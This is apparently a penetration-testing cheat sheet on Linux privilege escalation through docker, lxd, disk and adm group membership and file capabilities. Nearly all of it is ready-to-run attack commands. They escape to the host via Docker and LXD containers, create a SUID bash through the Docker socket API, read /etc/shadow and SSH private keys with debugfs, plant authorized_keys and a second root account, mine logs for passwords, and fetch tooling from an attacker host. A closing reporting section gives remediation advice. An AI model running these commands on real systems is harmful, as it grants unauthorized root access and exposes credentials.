🛡️ Methodology Checklist
- Check group membership:
id -
lxdgroup: import Alpine → create privileged container → mount host / -
dockergroup: escape viadocker run -v /:/mnt --rm -it alpine chroot /mnt sh - Writable
/var/run/docker.sock(even withoutdockergroup): drive the API directly -
diskgroup: read raw filesystem viadebugfs /dev/sda1 -
admgroup: mine logs for credentials in/var/log - Capabilities:
getcap -r / 2>/dev/null - Exploit
cap_setuidorcap_dac_overrideif present
🎯 Operational Context
Use when: User is member of interesting groups (docker, lxd, disk, adm, shadow) or capabilities are set on binaries — specific escalation paths for each.
Think Dumber First: id output shows group membership. Docker group = docker run -v /:/mnt --rm -it alpine chroot /mnt sh = root. lxd group = container breakout to root. disk group = raw disk read = read /etc/shadow. Each group has a specific one-liner.
Skip when: User is only in standard groups (user, sudo, www-data) — move to other privesc vectors.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
id | Check group membership — look for docker, lxd, disk, adm, shadow |
docker run -v /:/mnt --rm -it alpine chroot /mnt sh | Docker group → mount host root → chroot to root shell |
ls -l /var/run/docker.sock | Check for world/group-writable socket → root-equivalent even without the docker group |
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh | Writable socket → privileged container → host root |
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | Talk to Docker API directly when no docker CLI is installed |
lxc image import alpine.tar.gz --alias alpine | Import LXD image to create privileged container |
lxc init alpine alpine -c security.privileged=true | Create privileged LXD container |
lxc config device add alpine mydevice disk source=/ path=/mnt/root recursive=true | Mount host root into LXD container |
lxc start alpine && lxc exec alpine /bin/sh | Start container and drop into shell (use /bin/sh, not /bin/bash) |
debugfs /dev/sda1 | Disk group → raw disk access via debugfs |
debugfs -w /dev/sda1 | Open disk writable — can modify /etc/passwd directly on disk |
grep adm /etc/group; zcat /var/log/auth.log.*.gz | grep -i pass | adm group → read compressed auth logs for credentials |
getcap -r / 2>/dev/null | Enumerate all files with Linux capabilities |
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' | cap_setuid+ep on python → root shell |
vim /etc/passwd | cap_dac_override+ep on vim → edit any file as any user |
openssl passwd -1 [PASS] | Generate md5crypt hash for /etc/passwd entry |
🔬 Deep Dive & Workflow
LXD Privilege Escalation (Full Workflow)
# On attacker machine — build Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# → produces alpine-v3.X-x86_64-YYYYMMDD.tar.gz
# Transfer to target
python3 -m http.server 80 # attacker
wget http://[LHOST]/alpine-v3.X-x86_64.tar.gz # target
# Import and configure
lxc image import alpine-v3.X-x86_64.tar.gz --alias alpine
lxc init alpine alpine -c security.privileged=true
lxc config device add alpine mydevice disk source=/ path=/mnt/root recursive=true
lxc start alpine
lxc exec alpine /bin/sh # note: /bin/sh NOT /bin/bash in Alpine
# Inside container — host filesystem at /mnt/root
cat /mnt/root/etc/shadow
# Add root user or SSH key
echo '[PUBKEY]' >> /mnt/root/root/.ssh/authorized_keysDocker Group Escape Variants
# Basic chroot to host root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Add SUID bash
docker run -v /:/mnt --rm -it alpine chroot /mnt bash -c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
# Then: /tmp/rootbash -p → root shell
# Add SSH key
docker run -v /:/mnt --rm -it alpine sh -c "mkdir /mnt/root/.ssh && echo '[PUBKEY]' >> /mnt/root/.ssh/authorized_keys"Writable Docker Socket (no docker group needed)
A world- or group-writable /var/run/docker.sock is root-equivalent even if you are not in the docker group — anyone who can write to the socket can ask the daemon (running as root) to mount the host and run commands.
# Spot an exploitable socket
ls -l /var/run/docker.sock # srw-rw-rw- (world) or a group you're in = exploitable
# If the docker CLI is present, just point it at the socket
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# No docker CLI? Drive the REST API over the socket with curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json # list usable images
# Create a container that bind-mounts host / and makes a SUID bash on the host
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","cp /bin/bash /host/tmp/0bash; chmod +s /host/tmp/0bash"],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create
# → {"Id":"<CID>"} — start it:
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<CID>/start
/tmp/0bash -p # → root shell on the hostDisk Group — Raw Disk Access
# Find disk devices
df -h # shows mounted filesystems and device names
lsblk # block device tree
# Open with debugfs
debugfs /dev/sda1
# Interactive commands:
debugfs: cat /etc/shadow
debugfs: ls /root
debugfs: cat /root/.ssh/id_rsa
# Write mode (DANGEROUS — can corrupt filesystem)
debugfs -w /dev/sda1
# Can modify files directly on disk — use with extreme cautionadm Group — Log Credential Hunt
# adm group can read /var/log/ files
grep -i "pass\|password\|authenticat" /var/log/syslog
grep -i "pass\|password" /var/log/auth.log
# Compressed log rotation
zcat /var/log/auth.log.*.gz | grep -i "pass"
zcat /var/log/syslog.*.gz | grep -i "password"
# Apache logs may contain credentials sent in GET params
cat /var/log/apache2/access.log | grep "password="Linux Capabilities Quick Reference
| Capability | Effect | Exploit |
|---|---|---|
cap_setuid+ep | Can call setuid(0) | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
cap_dac_override+ep | Bypass file permissions | Edit /etc/passwd with vim or write anywhere |
cap_net_raw+ep | Raw socket access | Sniff traffic without root |
cap_sys_admin+ep | Many privileged ops | Mount filesystems |
cap_chown+ep | Change file ownership | chown root:root any file |
# cap_dac_override on vim — add root user
vim /etc/passwd
# Insert: root2:[HASH]:0:0:root:/root:/bin/bash
# Generate hash first: openssl passwd -1 [PASS]🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Docker group breakout fails | Docker not running | Check: systemctl status docker; start if stopped or try docker.sock directly |
| lxd group escalation fails | lxd not initialized | Initialize: lxd init; then follow standard lxd container breakout steps |
| Capability ep_bind_service not exploitable | Need specific capability | getcap -r / 2>/dev/null; match each capability to GTFOBins escalation path |
| disk group raw read blocked | Device not accessible | Check accessible devices: ls /dev/sd*; ls /dev/mapper/; use debugfs for ext4 volumes |
| adm group access to logs | Not a direct privesc but useful | adm group = read /var/log/; look for creds in auth.log, syslog, application logs |
📝 Reporting Trigger
Finding Title: Special Group Membership Enables Root Privilege Escalation
Impact: Membership in docker, lxd, or disk groups provides equivalent-to-root access through container breakout or raw disk access, representing a complete privilege escalation without exploiting any software vulnerability.
Root Cause: Users granted group membership for convenience (e.g., docker group to avoid sudo for containers) without understanding that group membership is equivalent to root access.
Recommendation: Remove all users from docker, lxd, and disk groups except required service accounts. Use rootless Docker for user container access. Implement sudo-based access controls for container operations. Audit group membership against least-privilege principle.